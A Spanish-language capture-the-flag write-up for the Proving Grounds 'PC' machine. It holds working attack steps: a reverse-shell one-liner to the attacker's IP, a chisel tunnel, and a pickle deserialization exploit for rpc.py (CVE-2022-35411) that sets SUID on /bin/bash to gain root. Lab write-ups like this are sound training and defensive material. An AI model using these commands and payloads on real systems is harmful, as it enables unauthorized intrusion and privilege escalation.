the_open_door
café
ESEN

PC

Proving Grounds PracticeMediaLinux192.168.190.210

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#ttyd#web-terminal#rpc.py#cve-2022-35411#pickle#deserialization#chisel#port-forwarding#suid#oscp
TL;DR. PC expone en el 8000 un ttyd, un terminal web sin autenticación: abrirlo ya nos da una shell como user. En local corre rpc.py como root escuchando en 127.0.0.1:65432; es la versión 0.6.0, vulnerable a CVE-2022-35411 (RCE por deserialización de pickle). Reenviamos el puerto con chisel (port forwarding) y lanzamos el exploit (pickle RCE) con un payload que hace SUID a /bin/bash; un bash -p (abuso de SUID) da root.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

ping -c 1 192.168.190.210
64 bytes from 192.168.190.210: icmp_seq=1 ttl=61 time=30.7 ms

Barremos todos los puertos TCP y luego identificamos versiones:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.190.210
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http
nmap -p22,8000 -sCV 192.168.190.210 -oN targetedScan
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    ttyd 1.7.3-a2312cb (libwebsockets 3.2.0)
|_http-title: ttyd - Terminal

Solo SSH y, en el 8000, un ttyd: un servidor que publica un terminal de la máquina a través del navegador (por WebSocket). Si está expuesto sin autenticación, es directamente una shell.

Acceso inicial

ttyd: terminal web sin autenticación

Abrimos http://192.168.190.210:8000 y nos encontramos una terminal interactiva ya logueada como user:

id
ip a

ttyd en el puerto 8000 mostrando una terminal como user@pc (uid=1000) en el navegador

uid=1000(user) gid=1000(user) groups=1000(user)

Para trabajar más cómodos (y porque ttyd puede ser inestable), lanzamos una reverse shell hacia nuestro equipo:

Antes de disparar la shell, dejamos un nc a la escucha:

penelope 8000
bash -i >& /dev/tcp/192.168.45.196/8000 0>&1

Reverse shell recibida como user@pc tras usar el terminal ttyd

(Penelope)> listeners add -p 8000
[+] Got reverse shell from pc~192.168.190.210-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
user@pc:/home/user$ whoami
user

Escalada de privilegios

rpc.py 0.6.0 en local: CVE-2022-35411

Enumerando procesos y puertos vemos un servicio interesante: rpc.py corriendo como root y escuchando solo en localhost:

ps aux | grep root
cat /opt/rpc.py
netstat -tuln
root  1050  python3 /opt/rpc.py
...
uvicorn.run(app, interface="asgi3", port=65432)
tcp  0  0 127.0.0.1:65432  0.0.0.0:*  LISTEN

rpc.py 0.6.0 es vulnerable a CVE-2022-35411: el servidor elige el deserializador según la cabecera serializer, y al pedirle pickle deserializa con pickle.loads() lo que enviemos, ejecutando código (deserialización de pickle). El servicio solo escucha en 127.0.0.1, así que primero hay que alcanzarlo desde fuera.

Reenvío de puertos con chisel

Subimos chisel (repo) a la víctima y montamos un túnel inverso para exponer su 65432 en nuestra máquina (port forwarding). Primero se descarga el binario ya compilado de las releases del proyecto (viene comprimido en .gz) y se sirve por HTTP:

# en el atacante:
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
gunzip chisel_1.7.7_linux_amd64.gz
ls
python3 -m http.server 80

Descarga del release chisel_1.7.7_linux_amd64.gz, gunzip y python3 -m http.server 80 sirviendo el binario

chisel_1.7.7_linux_amd64  reports
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

En la víctima se descarga a /dev/shm (un tmpfs en memoria, escribible por cualquiera y que no deja rastro en disco) y se le da permiso de ejecución:

# en la victima:
wget http://192.168.45.196/chisel_1.7.7_linux_amd64
chmod +x chisel_1.7.7_linux_amd64

wget del binario chisel en /dev/shm de la victima: 200 OK, 7,7M guardados, y chmod +x

user@pc:/dev/shm$ wget http://192.168.45.196/chisel_1.7.7_linux_amd64
HTTP request sent, awaiting response... 200 OK
Length: 8077312 (7.7M) [application/octet-stream]
Saving to: 'chisel_1.7.7_linux_amd64'
'chisel_1.7.7_linux_amd64' saved [8077312/8077312]

En nuestro equipo se renombra el binario a chisel (por comodidad, a ambos lados) y se levanta el lado servidor con --reverse, que es lo que autoriza a los clientes a abrir túneles en sentido inverso:

# en el atacante:
mv chisel_1.7.7_linux_amd64 chisel
chmod +x chisel
./chisel server --reverse -p 1234

chisel server --reverse -p 1234: Reverse tunnelling enabled y Listening on http://0.0.0.0:1234

2026/01/08 20:36:52 server: Reverse tunnelling enabled
2026/01/08 20:36:52 server: Fingerprint md7kzYM26jjSq5QEsvchydjlgNcTGlN9xvAP88NcOWo=
2026/01/08 20:36:52 server: Listening on http://0.0.0.0:1234

Y desde la víctima se conecta el cliente pidiendo el remoto R:65432, es decir: "abre en el servidor un 65432 que salga por mi 127.0.0.1:65432":

# en la victima:
./chisel client 192.168.45.196:1234 R:65432

chisel client conectando al servidor reverse y exponiendo el puerto 65432 de la victima

user@pc:/dev/shm$ ./chisel client 192.168.45.196:1234 R:65432
2026/01/08 20:38:55 client: Connecting to ws://192.168.45.196:1234
2026/01/08 20:38:55 client: Connected (Latency 33.279669ms)

Con el túnel, el 127.0.0.1:65432 de la víctima queda accesible en nuestro 127.0.0.1:65432.

Exploit: pickle RCE a root

Traemos el exploit público (50983.py, CVE-2022-35411) y lo ajustamos para que apunte a 127.0.0.1:65432, con la cabecera serializer: pickle, y ejecute un payload que ponga el bit SUID a /bin/bash:

HOST = "127.0.0.1:65432"
URL  = f"http://{HOST}/sayhi"
HEADERS = {"serializer": "pickle"}
...
exec_command('chmod u+s /bin/bash')
python3 rpc_exp.py

El exploit rpc_exp.py mostrando el payload pickle con chmod u+s /bin/bash

b'\x80\x04\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x13chmod u+s /bin/bash\x94\x85\x94R\x94.'

El payload es un objeto pickle que, al deserializarse en el servidor (como root), ejecuta chmod u+s /bin/bash. Comprobamos el bit SUID y abrimos una shell que conserva el euid de root (abuso de SUID):

ls -l /bin/bash
bash -p
whoami

/bin/bash con bit SUID y bash -p dando una shell como root en pc

-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
root

Con la shell de root leemos las pruebas (local.txt en el home de user y proof.txt en /root).

Cadena de ataque

ttyd (8000)  --  terminal web sin auth
        │  shell directa  ->  reverse shell
        ▼
shell como user
        │  rpc.py 0.6.0 como root en 127.0.0.1:65432 (CVE-2022-35411)
        │  chisel R:65432 (port forwarding)  ->  exploit pickle  ->  chmod u+s /bin/bash
        ▼
shell como root  (bash -p)

Lecciones aprendidas

  • Un terminal web expuesto es una puerta abierta. ttyd sin autenticación publica una shell de la máquina en el navegador; nunca debería estar accesible sin control de acceso (y mucho menos en una interfaz pública).
  • pickle es ejecución de código, no un formato de datos. Deserializar pickle de origen no confiable permite RCE; rpc.py 0.6.0 lo expone por diseño al aceptar la cabecera serializer: pickle (CVE-2022-35411).
  • "Solo escucha en localhost" no es una defensa frente a un atacante con shell. Un servicio interno se alcanza con un reenvío de puertos (chisel); enlazar a 127.0.0.1 reduce la superficie externa, pero no protege una vez dentro.
  • El patrón SUID + bash -p cierra muchas privesc. Si conseguimos ejecutar algo como root, hacer SUID a /bin/bash y abrir bash -p es la vía más directa a una shell privilegiada.
Cheatsheet de comandos 9 comandos

Repaso rápido